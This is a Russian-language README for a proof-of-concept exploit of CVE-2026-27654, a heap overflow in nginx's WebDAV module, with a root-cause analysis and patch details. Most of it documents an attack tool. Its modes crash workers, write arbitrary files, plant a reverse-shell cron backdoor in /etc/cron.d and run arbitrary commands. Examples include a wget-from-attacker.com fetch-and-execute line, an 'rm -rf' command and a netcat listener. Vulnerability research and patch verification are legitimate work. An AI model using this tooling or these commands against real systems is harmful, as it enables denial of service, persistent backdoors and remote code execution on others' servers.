
CVE-2026-27654-PoC — Updated!
Proof-of-Concept и технический анализ для CVE-2026-27654 — уязвимости переполнения буфера в куче в модуле NGINX HTTP WebDAV, включая анализ первопричины, воспроизведение и меры по смягчению последствий.
CVE-2026-27654 – PoC обработки путей DAV alias в модуле nginx ngx_http_dav_module
Этот репозиторий содержит концепт‑эксплойт для CVE‑2026‑27654 — уязвимости переполнения кучи в модуле ngx_http_dav_module nginx. Ошибка возникает из‑за целочисленного потери значимости (underflow) типа size_t при обработке запросов MOVE/COPY со специально сформированными заголовками Destination и location‑блоками на основе alias.
⚠️ Предупреждение: Этот инструмент предназначен только для авторизованных исследований и тестирования безопасности. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Авторы не несут ответственности за неправомерное использование.
🔥 Обзор уязвимости
CVE‑2026‑27654 — это удаленно активируемое переполнение буфера в куче в HTTP WebDAV‑модуле NGINX, вызванное целочисленным underflow в ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). Уязвимость возникает, когда длина URI назначения вычисляется вычитанием настроенного префикса location из пути заголовка Destination. Поскольку оба операнда имеют тип size_t, более короткий путь назначения приводит к тому, что результат вычитания «заворачивается» до почти максимального беззнакового значения.
Затем «завёрнутая» длина используется в качестве аргумента размера для memcpy(), что приводит к записи за пределами кучи, повреждению памяти и немедленному падению рабочего процесса NGINX. Удаленный неаутентифицированный злоумышленник может надежно вызвать это состояние с помощью одного специально сформированного запроса MOVE или COPY, нацеленного на WebDAV‑локацию, сопоставленную с alias. Хотя главный процесс NGINX автоматически перезапускает упавшие рабочие процессы, повторные запросы могут поддерживать сервис в состоянии непрерывного цикла падения воркеров, что приводит к устойчивому отказу в обслуживании (Denial-of-Service, DoS).
AddressSanitizer (ASan) подтверждает уязвимость ошибкой negative-size-param в memcpy(), прослеживая путь выполнения от ngx_http_dav_copy_move_handler() до ngx_http_core_module.c. Уязвимость затрагивает NGINX 0.5.13–1.28.2 (stable) и 1.29.0–1.29.6 (mainline) при компиляции с --with-http_dav_module и настройке с директивой alias. Проблема была устранена в NGINX 1.28.3 и 1.29.7 (коммит ab4b5b8, PR #1210) путем надлежащей проверки вычисленной длины пути назначения перед операциями с памятью.
✨ Возможности
- Интерактивный выбор режима – выбор из четырех режимов работы во время выполнения (crash, write‑file, cron‑shell, cron‑cmd) с понятным нумерованным меню.
- Триггер падения – отправка канонического запроса
MOVE/COPY, который вызывает underflow типаsize_tи приводит к падению уязвимого воркера. - Режим записи файла – загрузка произвольного содержимого в любое место файловой системы (требует лабораторного окружения с доступным для записи
alias). - Доставка cron‑shell – развертывание cron‑задания reverse shell в
/etc/cron.d/с интерактивными запросамиLHOST/LPORTи напоминанием о запуске слушателя. - Доставка cron‑cmd – выполнение произвольной команды через cron; принимает либо интерактивный ввод, либо флаг
--cron-command. - Проверка уязвимости (
--check) – неинтерактивный режим, который запускает тест на падение и выводит четкий вердикт[VULNERABLE]/[NOT VULNERABLE], завершаясь с кодом 0 или 1. - Поддержка HTTP‑прокси (
--proxy) – маршрутизация всех запросов через HTTP/HTTPS‑прокси (например, Burp Suite, mitmproxy) для отладки или проверки трафика. - Умная работа с файлами – проверяет, существует ли уже триггерный файл (через HEAD/GET), и пропускает PUT, если он присутствует, избегая лишних загрузок.
- Гибкие параметры полезной нагрузки – передача пейлоада через
--payload-file(бинарный),--payload-text(буквальный текст) или использование тестового содержимого по умолчанию. - Полный набор аргументов командной строки – тонкая настройка каждого аспекта эксплойта:
--destination-path,--alias-len,--escape-depth,--method,--location-prefixи другие. - Надежный запасной вариант – если библиотека
requestsне установлена, скрипт переключается на стандартный модуль Pythonhttp.client(в этом режиме поддержка прокси отключена).
📦 Установка
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
🚀 Использование
Интерактивный режим (меню)
python exploit.py --target 192.168.1.100:8080
Вам будет показано нумерованное меню и предложено выбрать режим.
Проверка уязвимости (неинтерактивно)
python exploit.py --target 192.168.1.100:8080 --check
Это принудительно включает режим crash, запускает эксплойт и выводит [VULNERABLE] или [NOT VULNERABLE], после чего завершается с кодом 0 или 1.
С HTTP‑прокси
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
Все HTTP‑запросы будут отправляться через указанный прокси (полезно для отладки с Burp).
⚙️ Справочник флагов
| Flag | Description | Example |
|---|---|---|
--target HOST:PORT | Целевой экземпляр nginx (по умолчанию: 127.0.0.1:8080). | --target 10.0.0.5:80 |
--verbose, -v | Показывать полные HTTP‑ответы (заголовки и тело). | -v |
--no-put | Пропустить начальный PUT (предполагается, что триггерный файл уже существует). Полезно для повторного тестирования. | --no-put |
--location-prefix | Префикс DAV‑локации (по умолчанию: /uploads/). Должен совпадать с location alias в конфигурации nginx. | --location-prefix /dav/ |
--remote-name | Удаленное имя исходного файла, размещаемого внутри DAV‑локации (по умолчанию: triggerfile.txt). | --remote-name test.txt |
--method {MOVE,COPY} | DAV‑метод для запроса назначения (по умолчанию: MOVE). | --method COPY |
--destination-path | Путь URI назначения — используется для арифметики при падении или как конечный путь файла для режимов доставки. | --destination-path /etc/cron.d/backdoor |
--alias-len | Длина строки настроенного alias (используется для отображения арифметики падения, по умолчанию 13). | --alias-len 20 |
--escape-depth | Количество компонентов пути ../ для выхода за пределы корня DAV (по умолчанию 1). | --escape-depth 3 |
--payload-file | Локальный файл для загрузки в качестве пейлоада. Заменяет тестовое содержимое по умолчанию. | --payload-file ./shell.php |
--payload-text | Текстовый пейлоад для режима write-file. | --payload-text "<?php phpinfo(); ?>" |
--lhost | Хост для обратного вызова reverse shell (для cron-shell). Если не указан, скрипт запросит его интерактивно. | --lhost 192.168.1.50 |
--lport | Порт для обратного вызова reverse shell (для cron-shell). | --lport 4444 |
--cron-command | Команда для выполнения через cron (для cron-cmd). Если не указана, скрипт запросит её интерактивно. | --cron-command "rm -rf /tmp/*" |
--wait | Секунды ожидания после доставки cron‑задания до его выполнения (по умолчанию 65). | --wait 120 |
--check | Запуск проверки уязвимости (тест на падение, неинтерактивно). Выводит VULNERABLE/NOT VULNERABLE и завершается с кодом 0/1. | --check |
--proxy PROXY_URL | URL HTTP/HTTPS‑прокси (например, http://127.0.0.1:8080). Требует библиотеку requests. | --proxy http://127.0.0.1:8080 |
Примечание: Большинство флагов необязательны. Если обязательные аргументы не указаны, скрипт запросит их (например,
--lhost/--lportдляcron-shell).
🧪 Режимы подробно
1. crash
Отправляет специально сформированный запрос MOVE (или COPY), который вызывает underflow типа size_t. Сервер завершит рабочий процесс. Если главный процесс настроен правильно, он породит новый воркер.
Пример:
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
2. write-file
Загружает файл в произвольное место файловой системы. Это работает только в том случае, если DAV‑локация поддерживается alias, указывающим на доступный для записи каталог, а путь Destination сформирован так, чтобы выйти за пределы корня DAV. Используйте только в авторизованных лабораторных средах.
Пример:
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
3. cron-shell
Размещает cron‑задание reverse shell в /etc/cron.d/.
При выборе этого режима скрипт запросит:
- LHOST – ваш IP для прослушивания
- LPORT – ваш порт для прослушивания
Затем он отобразит команду netcat‑слушателя и будет ждать нажатия Enter, когда слушатель будет запущен.
Пример (с предзаполненными параметрами):
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
4. cron-cmd
Размещает произвольную команду (переданную интерактивно или через --cron-command) в /etc/cron.d/. Это полезно для выполнения произвольных системных команд.
Пример (интерактивный):
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
Пример (с предзаполненными параметрами):
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
📝 Пример рабочего процесса (Reverse Shell)
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
📝 Пример рабочего процесса (выполнение команд)
Этот пример демонстрирует использование cron-cmd для выполнения команды на целевой системе без необходимости в слушателе.
Интерактивный режим
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
С предзаполненными параметрами (неинтерактивно)
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
Скрипт автоматически использует переданный --cron-command и пропускает интерактивный запрос, что делает его пригодным для автоматизации.
🛠️ Создание уязвимой тестовой среды
Чтобы протестировать этот PoC в контролируемой среде, можно собрать nginx из исходников с --with-http_dav_module и настроить location с alias и dav_methods. Образец Docker‑конфигурации включен (скоро появится).
Ссылки
- https://nginx.org/en/security_advisories.html
- https://github.com/nginx/nginx/commit/ab4b5b8
- https://github.com/nginx/nginx/pull/1210
📜 Лицензия
Этот проект лицензирован в соответствии с GNU v3.0 License – подробности см. в файле LICENSE.
🤝 Вклад в проект
Приветствуются вопросы (issues) и pull request'ы. Пожалуйста, убедитесь, что ваш вклад соответствует тем же этическим принципам использования.
Помните: Всегда получайте надлежащее разрешение перед тестированием любого инструмента безопасности. Оставайтесь этичными!